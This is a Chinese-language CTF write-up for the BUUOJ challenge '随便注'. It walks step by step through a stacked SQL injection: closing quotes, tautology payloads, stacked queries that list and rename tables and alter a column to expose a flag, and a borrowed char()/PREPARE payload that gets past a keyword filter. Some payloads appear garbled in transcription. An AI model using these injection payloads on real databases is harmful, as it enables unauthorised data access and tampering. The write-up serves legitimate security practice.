题目随便注1
出处https://buuoj.cn/challenges
知识点 1.堆叠注入
题面 解题步骤 1.直接提交1返回了一个php数组形式的返回值说明有回显。
2.尝试使用 ‘、"、]、) 等闭合sql语句发现单引号引起报错 3.尝试万能密码‘ or 11#,根据回显内容发现flag不在当前所在的表中这说明需要利用注入语句切换当前所在的表。 4.首先查询所有的表名1’;desc tables;#; 发现当前库中存在两个表 5.分别查看两个表结构
1;desc 1919810931114514;#1;desc words;#
发现flag存在于表1919810931114514中
6.现在目标明确要查询表1919810931114514中的flag
1;select * from 1919810931114514;#
执行后发现存在过滤无法使用select。 7.到这一步为止可以有多种解法
1需要对查询语句进行猜解,猜测查询语句如下
select * from words where id $inject;
或者
select id,data from words where id$inject;
如此看来目前我们要查询1919810931114514表而目前可利用的select语句执行在words表且无法使用堆叠注入执行新的select语句这就陷入了死循环。
重新分析一下已有的select语句其实在本题中是可以多次执行的每次执行不影响表结构其功能是查询words表中的全部内容。所以我们如果能想办法利用一个堆叠注入将1919810931114514表中的内容转移到words中然后再使用一次万能密码’or 11#就可以得到flag。
复制语句大概长这样
insert into words select * from 1919810931114514
不行insert肯定会被过滤掉换个思路其实我还可以把1919810931114514表名改了。
说搞就搞。
1;rename table words to meiyong;rename table 1919810931114514 to words;#
搞砸了大概是没有加表名没有,再来一次返回结果提醒我1919810931114514中本身没有id列会翻车。
重置环境重来把flag列名改成id执行成功
1;rename table words to meiyong;rename table 1919810931114514 to words;ALTER TABLE words CHANGE flag id VARCHAR(100) ;#
接着再执行万能密码
1‘or 11;
2利用char()方法还没做但是嫖来了payload感觉可以作为通法值得研究。payload如下
?inject;SET sqlconcat(char(115,101,108,101,99,116)," * from 1919810931114514");PREPARE sqla from sql;EXECUTE sqla;#
3利用预处理还没做什么都没做
总结由于短短说不写完就打死我所以本文暂时就烂尾了明天我把剩下的两种解法补全。